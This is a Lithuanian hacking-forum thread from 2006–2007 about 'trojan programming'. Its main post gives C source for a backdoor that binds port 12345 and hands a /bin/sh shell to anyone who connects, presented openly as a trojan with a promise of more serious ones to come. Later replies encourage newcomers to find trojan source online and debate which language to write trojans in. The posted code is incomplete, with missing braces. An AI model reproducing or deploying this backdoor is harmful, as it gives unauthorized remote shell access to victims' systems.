[phpBB Debug] PHP Warning: in file [ROOT]/viewtopic.php on line 22: include(./includes/bbcode.php): failed to open stream: No such file or directory
[phpBB Debug] PHP Warning: in file [ROOT]/viewtopic.php on line 22: include(): Failed opening './includes/bbcode.php' for inclusion (include_path='.:/opt/alt/php74/usr/share/pear')
Straipsniai.lt •Trojanų programavimas
Puslapis 12

Trojanų programavimas

Parašytas: 2006 06 16 16:04
shellc0de
Na kad visokie idiotai neknistų proto, pabandysiu pažvelgti į trojaną iš vidaus ( jo source code ) Nemanau kad visi čia esantys "hakeriai" viską supras, todėl jei kas neaišku klauskit :P
Taigi po trijų valandų terliojimosi su nano ir gcc pasaulį išvydo dar vienas trojanas skirtas nix sistemai, bet galima paleist ir ant windows :)Ką ??? PRADEDAM:
1. Surenkam reikalingus lib'us

Kodas: Pasirinkti visus

#include <stdio.h>
#include <errno.h>
#include <signal.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <strings.h>
2. Nurodom kokio porto klausys musu kurinys, ir koki shell'a jis paleis

Kodas: Pasirinkti visus

#define P 12345
#define SH "/bin/sh"
#define LISTN 5
3. Sukuriam main funkcija

Kodas: Pasirinkti visus

int main(int argc, char **argv)
3.1 I ja irasom pasveikinimo zinute

Kodas: Pasirinkti visus

char *fst = "\nConnected!\n\n";
char *sec = "This tool demonstrated how works trojans\n";
char *thr = "Please enter each command followed by ';'\n";
3.2 Surasom socketo kintamuosius

Kodas: Pasirinkti visus

int outsock, insock, sz;
struct sockaddr_in home;
struct sockaddr_in away;
3.3 Pati idomiausia dalis :) trojano smegenys

Kodas: Pasirinkti visus

home.sin_family=AF_INET;
home.sin_port=htons(P);
home.sin_addr.s_addr=INADDR_ANY;
bzero(&(home.sin_zero),8);

signal(SIGCHLD,SIG_IGN);


if((outsock=socket(AF_INET,SOCK_STREAM,0))<0)
exit(printf("Socket error\n"));

if((bind(outsock,(struct sockaddr *)&home,sizeof(home))<0)) 
exit(printf("Bind error\n"));

if((listen(outsock,LISTN))<0) 
exit(printf("Listen error\n"));

sz=sizeof(struct sockaddr_in);


for(;;)
{
if((insock=accept(outsock,(struct sockaddr *)&away, &sz))<0)
exit(printf("Accept error"));
if(fork() !=0)
{
send(insock,fst,strlen(fst),0);
send(insock,sec,strlen(sec),0);
send(insock,thr,strlen(thr),0);
dup2(insock,0);
dup2(insock,1);
dup2(insock,2);
execl(SH,SH,(char *)0);
close(insock);
exit(0);
}
close(insock);
Stai pats paprasciausias trojanas, jei kas neaisku pm man ir paaiskinsiu ;) na aisku jei adminas manes iki tol neuzbanins.

Siuo metu as apsistojes ties rimtu trojanu rasymu, kai bus kas nors parasyta pateiksiu, laukit :D ir sekmes.

Kas sake kad lietuviai trojanu neraso ?

shellc0de 2006

o kai rasau in delphi tai kokiu item reikia rinktis trojana/

Parašytas: 2006 06 21 15:00
mindaugas'
pavyzdziui as nusikopijuoju trojana i kokiu item man reikia rinktis jei noriu ji kopijuoti in delphi, gal galit paaiskinti o gal ne nurodyti kaip ten ka daryti?

Parašytas: 2006 06 21 15:05
brain5ide
Jeigu kalbi apie šitą trojaną, tai jo su Delphi niekaip nesukompiliuosi. Čia C programavimo kalba parašytas trojanas.

Jeigu nori išmokti programuoti trojanus, pirma išmok apskritai programuoti.
Jeigu nori tik naudoti trojanus - ieškok, iš kur juos parsisiųsti.

Parašytas: 2006 06 21 15:11
mindaugas'
o gal kas nors galetu ideti trojana delphi kalba?

Parašytas: 2006 06 21 15:28
brain5ide
Kokia Tau nauda iš to, kad kažkas įdės trojaną? Ką tu darysi su tuo Delphi kodu?

Parašytas: 2006 06 21 15:37
mindaugas'
bandysiu isanalizuot

Parašytas: 2006 06 21 15:50
brain5ide
Na jeigu Delphi moki, gali bandyt. Pabandyk pasieškoti per Google: trojan Delphi source

Parašytas: 2006 06 21 16:03
mindaugas'
thanks

Parašytas: 2006 07 30 23:23
as3mbler
Klausyk, žmogau, esi girdėjęs apie tokį dalyką kaip autorių teisės? Paėmi velnias žino kiek metų senumo trojano sourcą, pakeiti komentarus ir prisiskiri nuopelnus sau? Gėdos turėtum :/
http://hakeriai.voras.lt/info/kaipveikiatro.txt

Parašytas: 2006 09 22 12:08
Maxer
Bet tai cia kaskos levas trojanas, nes normalus ant c\c++ kalbos trojanas uzima iki 10000 eiluciu.
Ir kaikurios is tu biblioteku net neegzistuoja.

Parašytas: 2007 03 08 19:43
_zaxtux_
o kokia kalba geriausia programuot trojanus ?

Parašytas: 2007 03 08 20:06
zigzag
tokia kokia moki

Parašytas: 2007 03 08 20:50
_zaxtux_
nu as kaip ir nelabai moku tik su turbo pascal truputi mokejau :oops: o kokia geriausia mokytis?

Parašytas: 2007 03 08 21:16
zigzag
tokia kokia patinka tokia ir mokinkis

Parašytas: 2007 03 09 08:14
_zaxtux_
tai kad as nelabai zinau kuo skiriasi jos viena nuo kitos gal kas galit patart